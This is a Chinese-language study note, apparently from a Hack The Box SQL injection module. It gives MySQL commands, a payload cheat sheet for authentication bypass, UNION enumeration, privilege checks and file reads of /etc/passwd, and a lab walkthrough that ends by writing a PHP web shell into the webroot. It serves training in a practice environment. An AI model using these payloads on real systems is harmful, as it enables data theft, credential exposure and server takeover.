一旦攻击者能够注入,他们就必须寻找执行不同SQL查询的方法。这可以使用SQL代码来组成一个工作查询,该查询同时执行预期的和新的SQL查询。有很多方法可以实现这一点,比如使用堆叠查询或使用联合查询。最后,为了检索新查询的输出,我们必须在web应用程序的前端对其进行解释或捕获。
SQLi Discovery
在我们开始颠覆web应用程序的逻辑并试图绕过身份验证之前,我们首先必须测试登录表单是否容易受到SQL注入的攻击。要做到这一点,我们将尝试在用户名后添加以下有效载荷之一,看看它是否会导致任何错误或改变页面的行为:
' |
%27 |
---|---|
" |
%22 |
# |
%23 |
; |
%3B |
) |
%29 |
注意:在某些情况下,我们可能不得不使用URL编码的有效载荷版本。这方面的一个例子是,我们将有效负载直接放在URL“即HTTP GET请求”中。
MySQL
命令 | 描述 |
---|---|
常规 | |
mysql -u root -h docker.hackthebox.eu -P 3306 -p |
登录 MySQL 数据库 |
SHOW DATABASES |
列出可用数据库 |
USE users |
切换到数据库 |
表 | |
CREATE TABLE logins (id INT, ...) |
添加新表 |
SHOW TABLES |
列出当前数据库中的可用表 |
DESCRIBE logins |
显示表属性和列 |
INSERT INTO table_name VALUES (value_1,..) |
向表中添加值 |
INSERT INTO table_name(column2, ...) VALUES (column2_value, ..) |
向表中的特定列添加值 |
UPDATE table_name SET column1=newvalue1, ... WHERE <condition> |
更新表值 |
列 | |
SELECT * FROM table_name |
显示表中的所有列 |
SELECT column1, column2 FROM table_name |
显示表中的特定列 |
DROP TABLE logins |
删除表 |
ALTER TABLE logins ADD newColumn INT |
添加新列 |
ALTER TABLE logins RENAME COLUMN newColumn TO oldColumn |
重命名列 |
ALTER TABLE logins MODIFY oldColumn DATE |
更改列数据类型 |
ALTER TABLE logins DROP oldColumn |
删除列 |
输出 | |
SELECT * FROM logins ORDER BY column_1 |
按列排序 |
SELECT * FROM logins ORDER BY column_1 DESC |
按列降序排序 |
SELECT * FROM logins ORDER BY column_1 DESC, id ASC |
按两列排序 |
SELECT * FROM logins LIMIT 2 |
仅显示前两个结果 |
SELECT * FROM logins LIMIT 1, 2 |
仅显示从索引 2 开始的前两个结果 |
SELECT * FROM table_name WHERE <condition> |
列出满足条件的结果 |
SELECT * FROM logins WHERE username LIKE 'admin%' |
列出名称类似于给定字符串的结果 |
MySQL 运算符优先级
- 除法 ()、乘法 () 和模数 (
/``*``%
) - 加法 () 和减法 (
+``-
) - 比较 (, , , , , , ,
=``>``<``<=``>=``!=``LIKE
) - 不是 (
!
) - 和 (
&&
) - 或 (
||
)
SQL 注入
有效载荷 | 描述 |
---|---|
身份验证旁路 | |
admin' or '1'='1 |
基本身份验证绕过 |
admin')-- - |
带注释的基本身份验证绕过 |
[身份验证绕过有效负载](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL Injection#authentication-bypass) | |
联合注射 | |
' order by 1-- - |
使用 检测列数order by |
cn' UNION select 1,2,3-- - |
使用联合进样检测列数 |
cn' UNION select 1,@@version,3,4-- - |
基本联合注射 |
UNION select username, 2, 3, 4 from passwords-- - |
4 列联合进样 |
数据库枚举 | |
SELECT @@version |
具有查询输出的指纹 MySQL |
SELECT SLEEP(5) |
没有输出的指纹MySQL |
cn' UNION select 1,database(),2,3-- - |
当前数据库名称 |
cn' UNION select 1,schema_name,3,4 from INFORMATION_SCHEMA.SCHEMATA-- - |
列出所有数据库 |
cn' UNION select 1,TABLE_NAME,TABLE_SCHEMA,4 from INFORMATION_SCHEMA.TABLES where table_schema='dev'-- - |
列出特定数据库中的所有表 |
cn' UNION select 1,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA from INFORMATION_SCHEMA.COLUMNS where table_name='credentials'-- - |
列出特定表中的所有列 |
cn' UNION select 1, username, password, 4 from dev.credentials-- - |
从另一个数据库中的表中转储数据 |
特权 | |
cn' UNION SELECT 1, user(), 3, 4-- - |
查找当前用户 |
cn' UNION SELECT 1, super_priv, 3, 4 FROM mysql.user WHERE user="root"-- - |
查找用户是否具有管理员权限 |
cn' UNION SELECT 1, grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE user="root"-- - |
查找是否所有用户权限 |
cn' UNION SELECT 1, variable_name, variable_value, 4 FROM information_schema.global_variables where variable_name="secure_file_priv"-- - |
查找可以通过 MySQL 访问的目录 |
文件注入 | |
cn' UNION SELECT 1, LOAD_FILE("/etc/passwd"), 3, 4-- - |
读取本地文件 |
select 'file written successfully!' into outfile '/var/www/html/proof.txt' |
将字符串写入本地文件 |
cn' union select "",'<?php system($_REQUEST[0]); ?>', "", "" into outfile '/var/www/html/shell.php'-- - |
将 Web 外壳写入基本 Web 目录 |
检测列数的第一种方法是通过ORDERBY函数,我们前面已经讨论过了。我们必须注入一个查询,该查询根据我们指定的列对结果进行排序,“即,列1、列2等”,直到我们收到一个错误,表明指定的列不存在。 例如,我们可以从order by 1开始,按第一列排序,然后成功,因为表必须至少有一列。然后,我们将按2排序,然后按3排序,直到到达返回错误的数字,或者页面没有显示任何输出,这意味着该列编号不存在。我们成功排序的最后一个成功列给出了列的总数。
另一种方法是尝试使用不同数量的列进行联合注入,直到我们成功地返回结果。第一个方法总是返回结果,直到我们遇到错误,而这个方法总是给出错误,直到我们获得成功。
cn' UNION select 1,2,3-- -
不是每一列都会显示给用户,这是非常常见的。例如,ID字段通常用于将不同的表链接在一起,但用户不需要看到它。这告诉我们,打印第2列和第3列以及第4列是为了将我们的注入放在其中任何一列中。我们不能把我们的注入放在一开始,否则它的输出将不会打印出来。 这就是使用数字作为垃圾数据的好处,因为它可以很容易地跟踪打印的列,这样我们就知道要将查询放在哪一列。为了测试我们是否可以从数据库“而不仅仅是数字”中获得实际数据,我们可以使用@@version SQL查询作为测试,并将其放在第二列,而不是数字2:
cn' UNION select 1,@@version,3,4-- -
在枚举数据库之前,我们通常需要确定我们正在处理的DBMS的类型。这是因为每个DBMS都有不同的查询,知道它是什么将有助于我们知道要使用什么查询。 作为最初的猜测,如果我们在HTTP响应中看到的Web服务器是Apache或Nginx,那么很好的猜测是该Web服务器运行在Linux上,因此DBMS很可能是MySQL。如果Web服务器是IIS,那么这同样适用于Microsoft DBMS,因此它很可能是MSSQL。然而,这是一个牵强的猜测,因为许多其他数据库可以在操作系统或web服务器上使用。因此,我们可以测试不同的查询来识别我们正在处理的数据库类型。
MySQL:
Payload | When to Use | Expected Output | Wrong Output |
---|---|---|---|
SELECT @@version |
When we have full query output | MySQL Version ‘i.e. 10.3.22-MariaDB-1ubuntu1 ‘ |
In MSSQL it returns MSSQL version. Error with other DBMS. |
SELECT POW(1,1) |
When we only have numeric output | 1 |
Error with other DBMS |
SELECT SLEEP(5) |
Blind/No Output | Delays page response for 5 seconds and returns 0 . |
Will not delay response with other DBMS |
INFORMATION_SCHEMA
要使用UNIONSELECT从表中提取数据,我们需要正确地形成SELECT查询。为此,我们需要以下信息: 数据库列表 每个数据库中的表列表 每个表中的列列表 有了以上信息,我们可以形成SELECT语句来转储DBMS内任何数据库中任何表中任何列的数据。这就是我们可以利用INFORMATION_SCHEMA数据库的地方。 INFORMATION_SCHEMA数据库包含有关服务器上存在的数据库和表的元数据。该数据库在利用SQL注入漏洞时发挥着至关重要的作用。由于这是一个不同的数据库,我们不能用SELECT语句直接调用它的表。如果我们只为SELECT语句指定一个表的名称,它将在同一数据库中查找表。 因此,要引用另一个数据库中的表,我们可以使用点“.”操作人员例如,要选择名为my_database的数据库中存在的表用户,我们可以使用:
SELECT * FROM my_database.users;
SCHEMATA
要开始枚举,我们应该找到DBMS上可用的数据库。INFORMATION_SCHEMA数据库中的表SCHETA包含有关服务器上所有数据库的信息。它用于获取数据库名称,以便我们可以查询它们。SCHEMA_NAME列包含当前存在的所有数据库名称。 让我们首先在本地数据库上测试这一点,看看查询是如何使用的:
mysql> SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA;
在从dev数据库转储数据之前,我们需要获得一个表列表,以便使用SELECT语句查询它们。要查找数据库中的所有表,我们可以使用INFORMATION_SCHEMA数据库中的tables表。 TABLES表包含有关整个数据库中所有表的信息。此表包含多个列,但我们对table_SCHEMA和table_NAME列感兴趣。TABLE_NAME列存储表名,而TABLE_SCHEMA列指向每个表所属的数据库。这可以与我们查找数据库名称的方式类似。例如,我们可以使用以下有效负载来查找dev数据库中的表:
cn' UNION select 1,TABLE_NAME,TABLE_SCHEMA,4 from INFORMATION_SCHEMA.TABLES where table_schema='dev'-- -
Privileges
读取数据比写入数据要常见得多,在现代数据库管理系统中,写入数据是严格为特权用户保留的,因为它可能会导致系统利用,正如我们将看到的那样。例如,在MySQL中,DB用户必须具有FILE权限才能将文件的内容加载到表中,然后从该表中转储数据并读取文件。因此,让我们从收集数据库中有关用户权限的数据开始,以决定是否将文件读取和/或写入后端服务器。
首先,我们必须确定数据库中的用户。虽然我们不一定需要数据库管理员(DBA)权限来读取数据,但在现代DBMS中,这一点变得越来越重要,因为只有DBA才能获得这样的权限。这同样适用于其他常见数据库。如果我们确实拥有DBA权限,那么我们更有可能拥有文件读取权限。如果我们不这样做,那么我们必须检查我们的权限,看看我们能做什么。为了能够找到我们当前的DB用户,我们可以使用以下任何查询:
SELECT USER()
SELECT CURRENT_USER()
SELECT user from mysql.user
既然我们知道了我们的用户,我们就可以开始寻找我们对该用户有什么特权了。首先,我们可以通过以下查询来测试我们是否具有超级管理员权限:
SELECT super_priv FROM mysql.user
查询返回Y,意思是YES,表示超级用户权限。我们还可以通过以下查询直接从模式中转储其他特权:
cn' UNION SELECT 1, grantee, privilege_type, 4 FROM information_schema.user_privileges-- -
LOAD_FILE
既然我们知道我们有足够的权限读取本地系统文件,那么让我们使用LOAD_FILE()函数来完成这一操作。LOAD_FILE()函数可以在MariaDB/MMySQL中用于从文件中读取数据。该函数只接受一个参数,即文件名。以下查询是如何读取/etc/passwd文件的示例:
SELECT LOAD_FILE('/etc/passwd');
我们知道当前的页面是search.php。默认的Apache webroot是/var/www/html。让我们试着阅读位于/var/www/html/search.php的文件的源代码。
但是,页面最终会在浏览器中呈现HTML代码。点击[Ctrl+U]可以查看HTML源代码。
Writing Files
当涉及到将文件写入后端服务器时,它在现代DBMS中变得更加受限,因为我们可以利用它在远程服务器上编写web shell,从而执行代码并接管服务器。这就是为什么现代DBMS默认情况下禁用文件写入,并要求DBA具有某些权限来写入文件。在写入文件之前,我们必须首先检查我们是否有足够的权限,以及DBMS是否允许写入文件。
为了能够使用MySQL数据库将文件写入后端服务器,我们需要三件事: 启用FILE权限的用户 MySQL全局secure_file_priv变量未启用 对后端服务器上要写入的位置的写入访问权限 我们已经发现,我们的当前用户拥有写入文件所需的FILE权限。我们现在必须检查MySQL数据库是否具有该权限。这可以通过检查secure_file_priv全局变量来完成。
secure_file_priv
secure_file_priv变量用于确定从何处读取/写入文件。空值允许我们从整个文件系统中读取文件。否则,如果设置了某个目录,我们只能从变量指定的文件夹中读取。另一方面,NULL意味着我们不能从任何目录中读取/写入。MariaDB默认情况下将此变量设置为空,如果用户具有file权限,则可以读取/写入任何文件。但是,MySQL使用/var/lib/MySQL文件作为默认文件夹。这意味着在默认设置下无法通过MySQL注入读取文件。更糟糕的是,一些现代配置默认为NULL,这意味着我们无法在系统中的任何位置读取/写入文件。 因此,让我们看看如何找到secure_file_priv的值。在MySQL中,我们可以使用以下查询来获取该变量的值:
SHOW VARIABLES LIKE 'secure_file_priv';
但是,当我们使用UNION注入时,我们必须使用SELECT语句来获取值。这应该不是问题,因为所有变量和大多数配置都存储在INFORMATION_SCHEMA数据库中。MySQL全局变量存储在一个名为global_variables的表中,根据文档,该表有两列variable_name和variable_value。 我们必须从INFORMATION_SCHEMA数据库中的表中选择这两列。MySQL配置中有数百个全局变量,我们不想检索所有这些变量。然后,我们将使用我们在上一节中了解到的WHERE子句来过滤结果,以仅显示secure_file_priv变量。 最终的SQL查询如下:
SELECT variable_name, variable_value FROM information_schema.global_variables where variable_name="secure_file_priv"
SELECT INTO OUTFILE
既然我们已经确认我们的用户应该将文件写入后端服务器,那么让我们尝试使用SELECT。。INTO OUTFILE语句。SELECT INTO OUTFILE语句可用于将选择查询中的数据写入文件。这通常用于从表中导出数据。 要使用它,我们可以添加INTO OUTFILE“…”在我们的查询之后,将结果导出到我们指定的文件中。以下示例将users表的输出保存到/tmp/credentials文件中:
SELECT * from users INTO OUTFILE '/tmp/credentials';
Tanin@htb[/htb]$ cat /tmp/credentials
1 admin 392037dbba51f692776d6cefb6dd546d
2 newuser 9da2c9bcdf39d8610954e0e11ea8f45f
还可以直接将字符串选择到文件中,从而允许我们将任意文件写入后端服务器。
SELECT 'this is a test' INTO OUTFILE '/tmp/test.txt';
Tanin@htb[/htb]$ cat /tmp/test.txt
this is a test
Tanin@htb[/htb]$ ls -la /tmp/test.txt
-rw-rw-rw- 1 mysql mysql 15 Jul 8 06:20 /tmp/test.txt
提示:高级文件导出使用’FROM_BASE64(“BASE64_data”)’函数,以便能够写入长/高级文件,包括二进制数据。
practice
target:138.68.166.146:32658
评估web应用程序,并使用各种技术来获得远程代码执行,并在文件系统的/root目录中找到标志。提交标志的内容作为您的答案。
登录界面可以直接用or绕过,然后应该是使用这个搜索功能:
用order 命令发现有五个列
' UNION SELECT 1,2,3,4,5 -- -
找到可以回显的位置:2、3、4、5
然后搜集一下基本信息:
‘ UNION SELECT 1,2,3,4,5 – -
database:ilfreight
version:10.3.22-MariaDB-1ubuntu1
查询数据库名:
' UNION SELECT 1,SCHEMA_NAME,3,4,5 FROM INFORMATION_SCHEMA.SCHEMATA-- -
ilfreight中的表名:
' UNION select 1,2,TABLE_NAME,TABLE_SCHEMA,4 from INFORMATION_SCHEMA.TABLES where table_schema='ilfreight'-- -
查看users表中的列名:
' UNION select 0,1,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA from INFORMATION_SCHEMA.COLUMNS where table_name='users'-- -
查看具体数据:
' UNION select 0,1, username, password, 4 from ilfreight.users-- -
但是发现这居然不是flag….
可能要读写一下文件:
看下用户:
' UNION SELECT 1, user(), 3, 4,5-- -
看看权限:
' UNION SELECT 0,1, super_priv, 3, 4 FROM mysql.user WHERE user="root"-- -
有超级权限,ok,看看能写入的文档:
' UNION SELECT 0,1, VARIABLE_NAME, VARIABLE_VALUE, 4 FROM INFORMATION_SCHEMA.GLOBAL_VARIABLES WHERE VARIABLE_NAME="SECURE_FILE_PRIV"-- -
返回空值,hh,开搞
' UNION SELECT "","",'<?PHP SYSTEM($_REQUEST[0]); ?>', "", "" INTO OUTFILE '/VAR/WWW/HTML/DASHBOARD/SHELL.PHP'-- -